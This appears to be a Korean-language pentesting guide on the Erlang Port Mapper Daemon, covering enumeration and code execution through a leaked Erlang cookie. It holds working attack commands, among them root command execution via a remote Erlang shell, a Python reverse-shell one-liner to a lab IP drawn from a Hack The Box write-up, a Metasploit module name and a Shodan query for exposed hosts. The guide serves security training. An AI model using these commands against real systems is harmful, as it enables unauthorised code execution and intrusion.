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๊ธฐ๋ณธ ์ •๋ณด

**Erlang Port Mapper Daemon (epmd)**๋Š” ๋ถ„์‚ฐ Erlang ์ธ์Šคํ„ด์Šค์˜ ์กฐ์ •์ž๋กœ ์ž‘์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ธฐ๊ณ„ ์ฃผ์†Œ์— ๊ธฐํ˜ธ ๋…ธ๋“œ ์ด๋ฆ„์„ ๋งคํ•‘ํ•˜๋Š” ์—ญํ• ์„ ํ•˜๋ฉฐ, ๋ณธ์งˆ์ ์œผ๋กœ ๊ฐ ๋…ธ๋“œ ์ด๋ฆ„์ด ํŠน์ • ์ฃผ์†Œ์™€ ์—ฐ๊ฒฐ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. epmd์˜ ์ด ์—ญํ• ์€ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ์„œ๋กœ ๋‹ค๋ฅธ Erlang ๋…ธ๋“œ ๊ฐ„์˜ ์›ํ™œํ•œ ์ƒํ˜ธ ์ž‘์šฉ๊ณผ ํ†ต์‹ ์— ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

๊ธฐ๋ณธ์ ์œผ๋กœ RabbitMQ ๋ฐ CouchDB ์„ค์น˜์—์„œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์—ด๊ฑฐ

์ˆ˜๋™

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

์ž๋™ํ™”

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Remote Connection

๋งŒ์•ฝ ์ธ์ฆ ์ฟ ํ‚ค๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ํ˜ธ์ŠคํŠธ์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์ด ์ฟ ํ‚ค๋Š” ~/.erlang.cookie์— ์œ„์น˜ํ•˜๋ฉฐ, erlang์ด ์ฒ˜์Œ ์‹œ์ž‘ํ•  ๋•Œ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ˆ˜์ •๋˜๊ฑฐ๋‚˜ ์ˆ˜๋™์œผ๋กœ ์„ค์ •๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ, ๊ธธ์ด๊ฐ€ 20์ž์ธ [A:Z]์˜ ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด์ž…๋‹ˆ๋‹ค.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

๋” ๋งŽ์€ ์ •๋ณด๋Š” https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ €์ž๋Š” ์ฟ ํ‚ค๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ๋„ ๊ณต์œ ํ•ฉ๋‹ˆ๋‹ค:

๋กœ์ปฌ ์—ฐ๊ฒฐ

์ด ๊ฒฝ์šฐ ์šฐ๋ฆฌ๋Š” CouchDB๋ฅผ ์•…์šฉํ•˜์—ฌ ๋กœ์ปฌ์—์„œ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ๊ฒƒ์ž…๋‹ˆ๋‹ค:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

์˜ˆ์ œ๋Š” https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค.
Canape HTB ๋จธ์‹ ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์—ฐ์Šตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"

Tip

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